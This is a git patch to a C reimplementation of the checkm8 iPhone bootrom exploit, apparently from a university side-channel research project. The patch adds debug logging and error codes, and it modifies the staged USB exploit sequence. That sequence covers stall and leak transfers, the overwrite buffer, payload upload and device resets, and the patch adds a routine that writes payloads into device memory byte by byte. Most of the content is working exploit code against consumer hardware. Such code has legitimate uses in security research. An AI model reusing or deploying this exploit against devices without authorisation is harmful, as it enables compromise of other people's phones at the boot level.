From 3c8d6c62c5f25a38906220ae31d3bff35341f05e Mon Sep 17 00:00:00 2001 From: Gregor Haas Date: Wed, 11 Dec 2019 16:19:05 -0500 Subject: [PATCH] Add a debug command --- checkm8_remote/include/checkm8.h | 1 + checkm8_remote/include/command.h | 4 +- checkm8_remote/include/libusb_helpers.h | 17 ++-- checkm8_remote/include/payload.h | 3 - checkm8_remote/main.c | 25 ++++- checkm8_remote/src/command.c | 65 +++++++++---- checkm8_remote/src/exploit.c | 86 ++++++++++------- checkm8_remote/src/libusb_helpers.c | 118 +++++++++++++++--------- checkm8_remote/src/payload.c | 37 ++++++-- include/checkm8_config.h | 3 + 10 files changed, 240 insertions(+), 119 deletions(-) diff --git a/checkm8_remote/include/checkm8.h b/checkm8_remote/include/checkm8.h index 0606cda..ac23414 100644 --- a/checkm8_remote/include/checkm8.h +++ b/checkm8_remote/include/checkm8.h @@ -8,6 +8,7 @@ #define CHECKM8_FAIL_NODEV -2 #define CHECKM8_FAIL_NOEXP -3 #define CHECKM8_FAIL_NOTDONE -4 +#define CHECKM8_FAIL_XFER -5 #define IS_CHECKM8_FAIL(code) code < 0 diff --git a/checkm8_remote/include/command.h b/checkm8_remote/include/command.h index bc91cf0..bbb4258 100644 --- a/checkm8_remote/include/command.h +++ b/checkm8_remote/include/command.h @@ -3,11 +3,11 @@ #include "checkm8.h" -int dev_memset(struct pwned_device *dev, long addr, char c, long len); +int dev_memset(struct pwned_device *dev, long addr, unsigned char c, long len); int dev_memcpy(struct pwned_device *dev, long dest, long src, long len); int dev_exec(struct pwned_device *dev, long response_len, int nargs, long *args); -int dev_read_memory(); +int dev_read_memory(struct pwned_device *dev, long addr, long len); int dev_write_memory(); #endif //IPWNDFU_REWRITE_C_COMMAND_H diff --git a/checkm8_remote/include/libusb_helpers.h b/checkm8_remote/include/libusb_helpers.h index deec1bb..361e087 100644 --- a/checkm8_remote/include/libusb_helpers.h +++ b/checkm8_remote/include/libusb_helpers.h @@ -15,25 +15,26 @@ struct libusb_device_bundle int get_device_bundle(struct pwned_device *dev); int release_device_bundle(struct pwned_device *dev); +int is_device_bundle_open(struct pwned_device *dev); -void libusb1_async_ctrl_transfer(struct pwned_device *dev, +int libusb1_async_ctrl_transfer(struct pwned_device *dev, unsigned char bmRequestType, unsigned char bRequest, unsigned short wValue, unsigned short wIndex, unsigned char *data, unsigned short data_len, unsigned int timeout); -void libusb1_no_error_ctrl_transfer(struct pwned_device *dev, +int libusb1_no_error_ctrl_transfer(struct pwned_device *dev, unsigned char bmRequestType, unsigned char bRequest, unsigned short wValue, unsigned short wIndex, unsigned char *data, unsigned short data_len, unsigned int timeout); -void stall(struct pwned_device *dev); -void leak(struct pwned_device *dev); -void no_leak(struct pwned_device *dev); +int stall(struct pwned_device *dev); +int leak(struct pwned_device *dev); +int no_leak(struct pwned_device *dev); -void usb_req_stall(struct pwned_device *dev); -void usb_req_leak(struct pwned_device *dev); -void usb_req_no_leak(struct pwned_device *dev); +int usb_req_stall(struct pwned_device *dev); +int usb_req_leak(struct pwned_device *dev); +int usb_req_no_leak(struct pwned_device *dev); #endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H diff --git a/checkm8_remote/include/payload.h b/checkm8_remote/include/payload.h index c326c18..130f891 100644 --- a/checkm8_remote/include/payload.h +++ b/checkm8_remote/include/payload.h @@ -3,9 +3,6 @@ #include "checkm8.h" -#define PAYLOAD_SUCCESS 0 -#define PAYLOAD_FAIL_DUP -1 - #define PAYLOAD_FOUND 0 #define PAYLOAD_NOT_FOUND -1 diff --git a/checkm8_remote/main.c b/checkm8_remote/main.c index fb48ac1..5c5d02b 100644 --- a/checkm8_remote/main.c +++ b/checkm8_remote/main.c @@ -1,11 +1,32 @@ -#include #include "checkm8.h" #include "payload.h" +#include +#include +#include + +void checkm8_debug(const char *format, ...) +{ +#ifdef CHECKM8_LOGGING + void *traces[100]; + int depth = backtrace(traces, 100) - 5; + for(int i = 0; i < depth; i++) + { + printf("\t"); + } + + va_list args; + + va_start (args, format); + vprintf(format, args); + va_end(args); +#endif +} + int main() { struct pwned_device *dev = exploit_device(); - if(dev == NULL) + if(dev == NULL || dev->status == DEV_NORMAL) { printf("Failed to exploit device\n"); return -1; diff --git a/checkm8_remote/src/command.c b/checkm8_remote/src/command.c index 1325bf2..7543054 100644 --- a/checkm8_remote/src/command.c +++ b/checkm8_remote/src/command.c @@ -8,19 +8,22 @@ void dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len) { + checkm8_debug("dfu_send_data(dev = %p, data = %p, data_len = %li)\n", dev, data, data_len); long index = 0, amount; + int ret; + while(index < data_len) { if(data_len - index >= LIBUSB_MAX_PACKET_SIZE) amount = LIBUSB_MAX_PACKET_SIZE; else amount = data_len - index; - libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, &data[index], amount, 5000); + checkm8_debug("sending chunk of size %li at index %li\n", amount, index); + ret = libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, &data[index], amount, 5000); + checkm8_debug("transferred %i bytes\n", ret); index += amount; } } -static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - struct command_args { unsigned long magic; @@ -35,42 +38,54 @@ struct command_args long len; }; +static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; + int command(struct pwned_device *dev, struct command_args *args, struct command_args *resp, long response_len) { - int ret = get_device_bundle(dev); - if(IS_CHECKM8_FAIL(ret)) return ret; + checkm8_debug("command(dev = %p, args = %p, resp = %p, response_len = %li)\n", dev, args, resp, response_len); + if(!is_device_bundle_open(dev)) return CHECKM8_FAIL_NODEV; + int ret; dfu_send_data(dev, nullbuf, 16); - libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, NULL, 0, 100); - libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, NULL, 0, 100); - libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, NULL, 6, 100); - dfu_send_data(dev, (unsigned char *) args, args->len); + ret = libusb_control_transfer(dev->bundle->handle, 0x21, 1, 0, 0, nullbuf, 0, 100); + checkm8_debug("got return code %i (%s) from control transfer\n", ret, libusb_error_name(ret)); + ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, nullbuf, 6, 100); + checkm8_debug("got return code %i (%s) from control transfer\n", ret, libusb_error_name(ret)); + + ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 3, 0, 0, nullbuf, 6, 100); + checkm8_debug("got return code %i (%s) from control transfer\n", ret, libusb_error_name(ret)); + + dfu_send_data(dev, (unsigned char *) args, args->len); if(response_len == 0) { - libusb_control_transfer(dev->bundle->handle, 0xA1, 2, 0xFFFF, 0, (unsigned char *) resp, response_len + 1, 100); + ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 2, 0xFFFF, 0, (unsigned char *) resp, response_len + 1, 100); + checkm8_debug("got return code %i (%s) from final response transfer\n", ret, libusb_error_name(ret)); } else { - libusb_control_transfer(dev->bundle->handle, 0xA1, 2, 0xFFFF, 0, (unsigned char *) resp, response_len, 100); + ret = libusb_control_transfer(dev->bundle->handle, 0xA1, 2, 0xFFFF, 0, (unsigned char *) resp, response_len, 100); + checkm8_debug("got return code %i (%s) from control transfer\n", ret, libusb_error_name(ret)); } - release_device_bundle(dev); + checkm8_debug("got response magic %X\n", resp->magic); return CHECKM8_SUCCESS; } -#define EXEC_MAGIC 0x6365786563657865ul -#define MEMC_MAGIC 0x636d656d636d656dul -#define MEMS_MAGIC 0x736d656d736d656dul -#define DONE_MAGIC 0x656e6f64656e6f64ul +#define EXEC_MAGIC 0x6365786563657865ul // 'execexec'[::-1] +#define MEMC_MAGIC 0x636d656d636d656dul // 'memcmemc'[::-1] +#define MEMS_MAGIC 0x736d656d736d656dul // 'memsmems'[::-1] +#define DONE_MAGIC 0x656e6f64656e6f64ul // 'donedone'[::-1] -int dev_memset(struct pwned_device *dev, long addr, char c, long len) +int dev_memset(struct pwned_device *dev, long addr, unsigned char c, long len) { + checkm8_debug("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len); int ret; struct command_args *cmd_args, *cmd_resp; cmd_args = calloc(1, sizeof(struct command_args)); cmd_resp = calloc(1, sizeof(struct command_args)); + checkm8_debug("cmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp); cmd_args->magic = MEMS_MAGIC; cmd_args->arg1 = addr; cmd_args->arg2 = (unsigned long) c; @@ -86,11 +101,13 @@ int dev_memset(struct pwned_device *dev, long addr, char c, long len) int dev_memcpy(struct pwned_device *dev, long dest, long src, long len) { + checkm8_debug("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len); int ret; struct command_args *cmd_args, *cmd_resp; cmd_args = calloc(1, sizeof(struct command_args)); cmd_resp = calloc(1, sizeof(struct command_args)); + checkm8_debug("cmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp); cmd_args->magic = MEMC_MAGIC; cmd_args->arg1 = dest; cmd_args->arg2 = src; @@ -106,7 +123,12 @@ int dev_memcpy(struct pwned_device *dev, long dest, long src, long len) int dev_exec(struct pwned_device *dev, long response_len, int nargs, long *args) { - if(nargs > 7) return CHECKM8_FAIL_INVARGS; + checkm8_debug("dev_exec(dev = %p, response_len = %l, nargs = %i, args = %p\n", dev, response_len, nargs, args); + if(nargs > 7) + { + checkm8_debug("too many args\n"); + return CHECKM8_FAIL_INVARGS; + } int ret; unsigned long *argbase; @@ -114,14 +136,19 @@ int dev_exec(struct pwned_device *dev, long response_len, int nargs, long *args) cmd_args = calloc(1, sizeof(struct command_args)); cmd_resp = calloc(1, sizeof(struct command_args)); + checkm8_debug("cmd_args = %p, cmd_resp = %p\n", cmd_args, cmd_resp); + checkm8_debug("copying args: "); + cmd_args->magic = EXEC_MAGIC; argbase = &cmd_args->arg1; for(ret = 0; ret < nargs; ret++) { + checkm8_debug("%lx ", args[ret]); argbase[ret] = args[ret]; } + checkm8_debug("\n"); ret = command(dev, cmd_args, cmd_resp, 16 + response_len); - if(cmd_resp->magic != DONE_MAGIC) return CHECKM8_FAIL_NOTDONE; + if(ret == CHECKM8_SUCCESS && cmd_resp->magic != DONE_MAGIC) return CHECKM8_FAIL_NOTDONE; else return ret; } \ No newline at end of file diff --git a/checkm8_remote/src/exploit.c b/checkm8_remote/src/exploit.c index 7594405..b4e541a 100644 --- a/checkm8_remote/src/exploit.c +++ b/checkm8_remote/src/exploit.c @@ -12,23 +12,28 @@ typedef int(stage_function)(struct pwned_device *dev); int complete_stage(struct pwned_device *device, stage_function *func) { + checkm8_debug("complete_stage(dev = %p, func = %p)\n", device, func); int ret; ret = get_device_bundle(device); - if(ret == CHECKM8_FAIL_NODEV) + if(ret == LIBUSB_ERROR_NO_DEVICE) { - printf("Error: could not find test device\n"); + checkm8_debug("failed to get device bundle\n"); return CHECKM8_FAIL_NODEV; } + checkm8_debug("got device bundle, calling function\n"); ret = func(device); + + checkm8_debug("releasing device bundle\n"); release_device_bundle(device); + return ret; } int stage1_function(struct pwned_device *dev) { - printf("~~~ Exploit stage 1 ~~~\n"); + checkm8_debug("exploit stage 1\n"); unsigned int i; stall(dev); @@ -39,26 +44,28 @@ int stage1_function(struct pwned_device *dev) usb_req_leak(dev); no_leak(dev); + checkm8_debug("reset\n"); libusb_reset_device(dev->bundle->handle); return CHECKM8_SUCCESS; } int stage2_function(struct pwned_device *dev) { - printf("~~~ Exploit stage 2 ~~~\n"); + checkm8_debug("exploit stage 2\n"); unsigned char databuf[0x800]; memset(databuf, 'A', 0x800); libusb1_async_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1); libusb1_no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0); + checkm8_debug("reset\n"); libusb_reset_device(dev->bundle->handle); return CHECKM8_SUCCESS; } int stage3_function(struct pwned_device *dev) { - printf("~~~ Exploit stage 3 ~~~\n"); + checkm8_debug("exploit stage 3\n"); unsigned char overwrite_buf[1524]; FILE *overwrite_file = fopen( "/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/overwrite.bin", "r"); @@ -74,23 +81,28 @@ int stage3_function(struct pwned_device *dev) usb_req_stall(dev); usb_req_leak(dev); + checkm8_debug("transferring overwrite\n"); libusb1_no_error_ctrl_transfer(dev, 0, 0, 0, 0, overwrite_buf, 1524, 100); + + checkm8_debug("transferring payload\n"); libusb1_no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, payload_buf, 2048, 100); libusb1_no_error_ctrl_transfer(dev, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100); + checkm8_debug("reset\n"); libusb_reset_device(dev->bundle->handle); return CHECKM8_SUCCESS; } int check_function(struct pwned_device *dev) { + checkm8_debug("checking device serial\n"); unsigned char serial_buf[128]; unsigned int i; struct libusb_device_handle *handle = dev->bundle->handle; struct libusb_device_descriptor *desc = dev->bundle->descriptor; libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, sizeof(serial_buf)); - printf("Found device with serial %s\n", serial_buf); + checkm8_debug("got serial %s\n", serial_buf); for(i = 0; i < 13; i++) { @@ -111,37 +123,49 @@ struct pwned_device *exploit_device() res->idVendor = DEV_IDVENDOR; res->idProduct = DEV_IDPRODUCT; + checkm8_debug("exploit_device() -> dev = %p\n", res); + int ret = complete_stage(res, check_function); - if(IS_CHECKM8_FAIL(ret)) - { - free_device(res); - return NULL; - } - - ret = complete_stage(res, stage1_function); - if(ret == CHECKM8_SUCCESS) - { - ret = complete_stage(res, stage2_function); - usleep(500000); - } - - if(ret == CHECKM8_SUCCESS) - { - ret = complete_stage(res, stage3_function); - usleep(500000); - } - - if(ret == CHECKM8_SUCCESS) - { - ret = complete_stage(res, check_function); - } - if(ret == CHECKM8_SUCCESS) { + // already exploited res->status = DEV_PWNED; return res; } - else return NULL; + else if(ret == CHECKM8_FAIL_NODEV) + { + // no device found + free(res); + return NULL; + } + else + { + // normal device found - exploit + ret = complete_stage(res, stage1_function); + if(ret == CHECKM8_SUCCESS) + { + ret = complete_stage(res, stage2_function); + usleep(500000); + } + + if(ret == CHECKM8_SUCCESS) + { + ret = complete_stage(res, stage3_function); + usleep(500000); + } + + if(ret == CHECKM8_SUCCESS) + { + ret = complete_stage(res, check_function); + } + + if(ret == CHECKM8_SUCCESS) + { + res->status = DEV_PWNED; + return res; + } + else return NULL; + } } void free_device(struct pwned_device *dev) diff --git a/checkm8_remote/src/libusb_helpers.c b/checkm8_remote/src/libusb_helpers.c index d0e8719..d3db3e7 100644 --- a/checkm8_remote/src/libusb_helpers.c +++ b/checkm8_remote/src/libusb_helpers.c @@ -9,8 +9,10 @@ int get_device_bundle(struct pwned_device *dev) { + checkm8_debug("get_device_bundle(dev = %p)\n", dev); if(dev->bundle->ctx == NULL) { + checkm8_debug("bundle ctx is NULL, allocating\n"); dev->bundle->ctx = malloc(sizeof(libusb_context)); libusb_init(&dev->bundle->ctx); } @@ -20,6 +22,7 @@ int get_device_bundle(struct pwned_device *dev) dev->bundle->descriptor->idVendor == dev->idVendor && dev->bundle->descriptor->idProduct == dev->idProduct) { + checkm8_debug("bundle is already valid\n"); return LIBUSB_SUCCESS; } } @@ -28,6 +31,7 @@ int get_device_bundle(struct pwned_device *dev) int usb_dev_count, ret = LIBUSB_ERROR_NO_DEVICE; usb_dev_count = libusb_get_device_list(dev->bundle->ctx, &usb_device_list); + checkm8_debug("found %i USB devices\n", usb_dev_count); dev->bundle->device = NULL; dev->bundle->handle = NULL; @@ -41,19 +45,24 @@ int get_device_bundle(struct pwned_device *dev) if(dev->bundle->descriptor->idVendor == dev->idVendor && dev->bundle->descriptor->idProduct == dev->idProduct) { + checkm8_debug("checking device %i ... match!\n", i); ret = LIBUSB_SUCCESS; break; } + + checkm8_debug("checking device %i ... no match\n", i); } libusb_free_device_list(usb_device_list, usb_dev_count); if(ret == LIBUSB_SUCCESS) { + checkm8_debug("opening device and returning success\n"); libusb_open(dev->bundle->device, &dev->bundle->handle); libusb_set_auto_detach_kernel_driver(dev->bundle->handle, 1); } else { + checkm8_debug("could not find a matching device\n"); libusb_exit(dev->bundle->ctx); free(dev->bundle->ctx); free(dev->bundle->descriptor); @@ -69,21 +78,27 @@ int get_device_bundle(struct pwned_device *dev) int release_device_bundle(struct pwned_device *dev) { + checkm8_debug("release_device_bundle(dev = %p)\n", dev); if(dev->bundle->handle != NULL) { + checkm8_debug("closing handle\n"); libusb_close(dev->bundle->handle); + dev->bundle->handle = NULL; } dev->bundle->device = NULL; if(dev->bundle->ctx != NULL) { + checkm8_debug("exiting context\n");; libusb_exit(dev->bundle->ctx); free(dev->bundle->ctx); + dev->bundle->ctx = NULL; } if(dev->bundle->descriptor != NULL) { + checkm8_debug("freeing device descriptor\n"); free(dev->bundle->descriptor); dev->bundle->descriptor = NULL; } @@ -91,20 +106,29 @@ int release_device_bundle(struct pwned_device *dev) return LIBUSB_SUCCESS; } -void LIBUSB_CALL async_ctrl_transfer_cb(struct libusb_transfer *transfer) +int is_device_bundle_open(struct pwned_device *dev) { - printf("transfer status: %s (%i / %i)\n", - libusb_error_name(transfer->status), - transfer->actual_length, - transfer->length); + return dev->bundle->ctx != NULL && dev->bundle->device != NULL && + dev->bundle->handle != NULL && dev->bundle->descriptor != NULL; } -void libusb1_async_ctrl_transfer(struct pwned_device *dev, - unsigned char bmRequestType, unsigned char bRequest, - unsigned short wValue, unsigned short wIndex, - unsigned char *data, unsigned short data_len, - unsigned int timeout) +void LIBUSB_CALL async_ctrl_transfer_cb(struct libusb_transfer *transfer) { + checkm8_debug("transfer status: %s (%i / %i)\n", + libusb_error_name(transfer->status), + transfer->actual_length, + transfer->length); +} + +int libusb1_async_ctrl_transfer(struct pwned_device *dev, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout) +{ + checkm8_debug( + "async_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n", + dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); struct timeval start, end; unsigned char usb_transfer_buf[8 + data_len]; int ret; @@ -116,38 +140,41 @@ void libusb1_async_ctrl_transfer(struct pwned_device *dev, memcpy(&usb_transfer_buf[8], data, data_len); libusb_fill_control_transfer(usb_transfer, dev->bundle->handle, usb_transfer_buf, async_ctrl_transfer_cb, NULL, 1); + checkm8_debug("submiting urb\n"); ret = libusb_submit_transfer(usb_transfer); if(ret != 0) { - printf("Failed to submit async USB transfer: %s\n", libusb_error_name(ret)); + checkm8_debug("failed to submit async USB transfer: %s\n", libusb_error_name(ret)); libusb_free_transfer(usb_transfer); - exit(ret); + return CHECKM8_FAIL_XFER; } while(1) { gettimeofday(&end, NULL); - if(end.tv_usec - start.tv_usec > timeout) + if((1000000 * end.tv_sec + end.tv_usec) - (1000000 * end.tv_sec + start.tv_usec) > timeout) { ret = libusb_cancel_transfer(usb_transfer); if(ret != 0) { - printf("Failed to cancel async USB transfer: %s\n", libusb_error_name(ret)); - exit(ret); + checkm8_debug("failed to cancel async USB transfer: %s\n", libusb_error_name(ret)); + return CHECKM8_FAIL_XFER; } - return; - } - printf("%i / %i\n", usb_transfer->actual_length, usb_transfer->length); + return CHECKM8_SUCCESS; + } } } -void libusb1_no_error_ctrl_transfer(struct pwned_device *dev, - unsigned char bmRequestType, unsigned char bRequest, - unsigned short wValue, unsigned short wIndex, - unsigned char *data, unsigned short data_len, - unsigned int timeout) +int libusb1_no_error_ctrl_transfer(struct pwned_device *dev, + unsigned char bmRequestType, unsigned char bRequest, + unsigned short wValue, unsigned short wIndex, + unsigned char *data, unsigned short data_len, + unsigned int timeout) { + checkm8_debug( + "no_error_ctrl_transfer(dev = %p, bmRequestType = %i, bRequest = %i, wValue = %i, wIndex = %i, data = %p, data_len = %i, timeout = %i)\n", + dev, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); int ret; unsigned char recipient = bmRequestType & 3u; unsigned char rqtype = bmRequestType & (3u << 5u); @@ -157,13 +184,15 @@ void libusb1_no_error_ctrl_transfer(struct pwned_device *dev, ret = libusb_claim_interface(dev->bundle->handle, interface); if(ret > 0) { - printf("%s\n", libusb_error_name(ret)); - exit(1); + checkm8_debug("failed to claim interface: %s\n", libusb_error_name(ret)); + return CHECKM8_FAIL_XFER; } } - ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout); - printf("%s\n", libusb_error_name(ret)); + ret = libusb_control_transfer(dev->bundle->handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, + timeout); + checkm8_debug("got error %s but ignoring\n", libusb_error_name(ret)); + return CHECKM8_SUCCESS; } static unsigned char data_0xA_0xC0_buf[192] = @@ -232,39 +261,38 @@ static unsigned char data_0x0_0xC0_buf[192] = 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; -void stall(struct pwned_device *dev) +int stall(struct pwned_device *dev) { - libusb1_async_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, - data_0xA_0xC0_buf, 0xC0, 1); + return libusb1_async_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 15); } -void leak(struct pwned_device *dev) +int leak(struct pwned_device *dev) { - libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, - data_0x0_0xC0_buf, 0xC0, 1); + libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1); + return CHECKM8_SUCCESS; } -void no_leak(struct pwned_device *dev) +int no_leak(struct pwned_device *dev) { - libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, - data_0xA_0xC1_buf, 0xC1, 1); + libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1); + return CHECKM8_SUCCESS; } -void usb_req_stall(struct pwned_device *dev) +int usb_req_stall(struct pwned_device *dev) { unsigned char data[0]; - libusb1_no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 1); + libusb1_no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10); + return CHECKM8_SUCCESS; } -void usb_req_leak(struct pwned_device *dev) +int usb_req_leak(struct pwned_device *dev) { - libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, - data_0x0_0x40_buf, 0x40, 1); + libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1); + return CHECKM8_SUCCESS; } -void usb_req_no_leak(struct pwned_device *dev) +int usb_req_no_leak(struct pwned_device *dev) { - - libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, - data_0x0_0x41_buf, 0x41, 1); + libusb1_no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1); + return CHECKM8_SUCCESS; } \ No newline at end of file diff --git a/checkm8_remote/src/payload.c b/checkm8_remote/src/payload.c index 69d55bc..120b561 100644 --- a/checkm8_remote/src/payload.c +++ b/checkm8_remote/src/payload.c @@ -2,6 +2,9 @@ #include #include +#include "command.h" +#include "libusb_helpers.h" + struct payload { @@ -23,7 +26,7 @@ struct payload *get_payload(PAYLOAD_T p) switch(p) { case PAYLOAD_AES: - path = "blehblehbleh"; + path = "/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/payloads/payload_aes.bin"; break; default: @@ -61,7 +64,7 @@ void free_payload(struct payload *p) long get_address(struct pwned_device *dev, LOCATION_T l) { - + return 0x180151000; } @@ -82,11 +85,7 @@ int dev_insert_payload(struct pwned_device *dev, struct payload *pl) if(dev->installed == NULL) { dev->installed = pl; - return PAYLOAD_SUCCESS; - } - else if(dev_contains_payload(dev, pl->type) == PAYLOAD_FOUND) - { - return PAYLOAD_FAIL_DUP; + return CHECKM8_SUCCESS; } else { @@ -94,7 +93,7 @@ int dev_insert_payload(struct pwned_device *dev, struct payload *pl) curr->next = pl; pl->prev = curr; - return PAYLOAD_SUCCESS; + return CHECKM8_SUCCESS; } } @@ -124,8 +123,28 @@ struct payload *dev_remove_payload(struct pwned_device *dev, PAYLOAD_T p) int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc) { - struct payload *payload = get_payload(p); + int i, ret; + struct payload *pl = get_payload(p); long addr = get_address(dev, loc); + + if(pl == NULL || addr == -1) return CHECKM8_FAIL_INVARGS; + + ret = get_device_bundle(dev); + if(IS_CHECKM8_FAIL(ret)) return ret; + + for(i = 0; i < pl->len; i++) + { + ret = dev_memset(dev, addr + i, pl->data[i], 1); + if(IS_CHECKM8_FAIL(ret)) + { + release_device_bundle(dev); + return CHECKM8_FAIL_XFER; + } + } + + dev_insert_payload(dev, pl); + release_device_bundle(dev); + return ret; } int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p) diff --git a/include/checkm8_config.h b/include/checkm8_config.h index 8c896a6..8471f61 100644 --- a/include/checkm8_config.h +++ b/include/checkm8_config.h @@ -2,6 +2,9 @@ #define IPWNDFU_REWRITE_C_CHECKM8_CONFIG_H //#define LIBUSB_LOGGING +#define CHECKM8_LOGGING #define CHECKM8_PLATFORM 8010 +void checkm8_debug(const char *format, ...); + #endif //IPWNDFU_REWRITE_C_CHECKM8_CONFIG_H